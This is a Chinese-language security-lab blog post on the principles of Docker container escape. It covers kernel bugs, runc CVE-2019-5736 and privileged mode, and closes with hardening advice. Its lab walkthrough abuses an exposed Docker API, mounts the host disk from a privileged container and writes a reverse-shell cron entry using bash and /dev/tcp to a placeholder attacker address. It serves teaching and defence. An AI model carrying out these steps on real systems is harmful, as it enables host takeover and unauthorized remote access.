美創安全實驗室 | Docker逃逸原理

資料安全發表於2020-08-03

Docker是時下使用範圍最廣的開源容器技術之一,具有高效易用等優點。由於設計的原因,Docker天生就帶有強大的安全性,甚至比虛擬機器都要更安全,但你可曾想過“堅不可摧”的Docker也會被人攻破,Docker逃逸所造成的影響之大幾乎席捲了全球的Docker容器。本期美創安全實驗室將會帶大家研究造成Docker逃逸的根本原理以及相應的防禦方法。


Docker簡介

Docker是一種容器,容器的官方定義是:將軟體打包成標準化單元、以用於開發、交付和部署。容器的特點在於格式統一,執行速度快,所需資源小,並且可以層層重疊。

與虛擬機器的架構進行一下對比就可以看出,Docker整體的架構更加輕巧,靈活。而且由於Docker是直接利用宿主機的系統核心,所以可以做到幾秒鐘之內建立大量的容器,他們的啟動速度是在數量級上的差距。

美創安全實驗室 | Docker逃逸原理虛擬機器與Docker架構對比

(左為虛擬機器架構、右為Docker架構)


Docker逃逸原理

因為Docker所使用的是隔離技術,就導致了容器內的程式無法看到外面的程式,但外面的程式可以看到裡面,所以如果一個容器可以訪問到外面的資源,甚至是獲得了宿主主機的許可權,這就叫做“Docker逃逸”。

目前產生Docker逃逸的原因總共有三種:

一、由核心漏洞引起。

二、由Docker軟體設計引起。

三、由特權模式與配置不當引起。

接下來依次對這三種逃逸方法做簡單說明。

01由於核心漏洞引起的逃逸

因為Docker是直接共享的宿主主機核心,所以當宿主主機的核心存在安全漏洞時會一併影響Docker的安全,導致可能會造成Docker逃逸。具體流程如下:

①使用核心漏洞進入核心上下文

②獲取當前程式的task struct

③回溯task list 獲取pid=1的task struct,複製其相關 資料

④切換當前namespace

⑤開啟root shell,完成逃逸

02由於Doker軟體設計引起的逃逸

比較典型的例子是Docker的標準化容器執行引擎----runc。Runc曾在2019年2月被爆出來過一個Docker逃逸漏洞CVE-2019-5736。其漏洞原理是,Docker、Containerd或其他基於runc的容易在執行時存在安全漏洞,攻擊者可以透過特定的容器映象或者exec操作獲取到宿主機runc執行檔案時的檔案控制程式碼並修改掉runc的二進位制檔案,從而獲取到宿主機的root執行許可權,造成Docker逃逸。

03由於特權模式+目錄掛載引起的逃逸

這一種逃逸方法較其他兩種來說用的更多。特權模式在6.0版本的時候被引入Docker,其核心作用是允許容器內的root擁有外部物理機的root許可權,而此前在容器內的root使用者只有外部物理機普通使用者的許可權。

使用特權模式啟動容器後(docker run --privileged),Docker容器被允許可以訪問主機上的所有裝置、可以獲取大量裝置檔案的訪問許可權、並可以執行mount命令進行掛載。

當控制使用特權模式的容器時,Docker管理員可透過mount命令將外部宿主機磁碟裝置掛載進容器內部,獲取對整個宿主機的檔案讀寫許可權,此外還可以透過寫入計劃任務等方式在宿主機執行命令。

除了使用特權模式啟動Docker會引起Docker逃逸外,使用功能機制也會造成Docker逃逸。Linux核心自版本2.2引入了功能機制(Capabilities),打破了UNIX/LINUX作業系統中超級使用者與普通使用者的概念,允許普通使用者執行超級使用者許可權方能執行的命令。例如當容器以--cap-add=SYSADMIN啟動,Container程式就被允許執行mount、umount等一系列系統管理命令,如果攻擊者此時再將外部裝置目錄掛載在容器中就會發生Docker逃逸。


Docker逃逸實驗(特權模式+目錄掛載)

目標機:192.168.210.37

目標機上對外開啟了Docker服務,執行在2375埠上。直接訪問目標機的2375埠即可未授權檢視Docker資訊,如下:

美創安全實驗室 | Docker逃逸原理

檢視當前docker中存在的所有容器:docker images

美創安全實驗室 | Docker逃逸原理

使用特權模式啟動容器

美創安全實驗室 | Docker逃逸原理

檢視磁碟檔案:fdisk -l

美創安全實驗室 | Docker逃逸原理

從返回結果來看sda1、sda2、sda3在/dev目錄下。

美創安全實驗室 | Docker逃逸原理

新建一個目錄/test,然後將/dev/sda1掛載到新建的目錄下

mkdir /test

mount /dev/sda1/test

美創安全實驗室 | Docker逃逸原理

這時再檢視新建的目錄/test,就可以訪問宿主機上的目錄內容了(/root目錄下的內容)

美創安全實驗室 | Docker逃逸原理

同理,新建一個目錄/test2,將/dev/sda3掛載到新建的目錄下,並檢視test2目錄下的內容,發現可以訪問宿主機上/目錄下的內容了

美創安全實驗室 | Docker逃逸原理

在計劃任務裡寫入一個反彈shell:

echo '*****bash -i >& /dev/tcp/x.x.x.x/7777 0>&1'>> /test2/var/spool/cron/root

美創安全實驗室 | Docker逃逸原理

在Docker上開啟netcat監聽7777埠,成功接收到宿主主機的Shell,實現Docker逃逸。

美創安全實驗室 | Docker逃逸原理


Docker逃逸防禦

➢ 更新Docker版本到19.03.1及更高版本——CVE-2019-14271、覆蓋CVE-2019-5736。

➢ runc版本>1.0-rc6

➢ k8s 叢集版本>1.12

➢ Linux核心版本>=2.6.22——CVE-2016-5195(髒牛)

➢ Linux核心版本>=4.14——CVE-2017–1000405(大髒牛),未找到docker逃逸利用過程,但存在逃逸風險。

➢ 不建議以root許可權執行Docker服務。

➢不建議以privileged(特權模式)啟動Docker。

➢ 不建議將宿主機目錄掛載至容器目錄。

➢ 不建議將容器以—cap-add=SYSADMIN啟動,SYSADMIN意為container程式允許執行mount、umount等一系列系統管理操作,存在容器逃逸風險。

美創科技聚焦資料安全,圍繞資料安全、災難備份、資料管理、智慧運維等多方面挖掘和鑄造資料價值,憑藉卓越的產品技術和服務贏得了眾多行業的認可和使用者口碑!


來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/69973247/viewspace-2708952/,如需轉載,請註明出處,否則將追究法律責任。

相關文章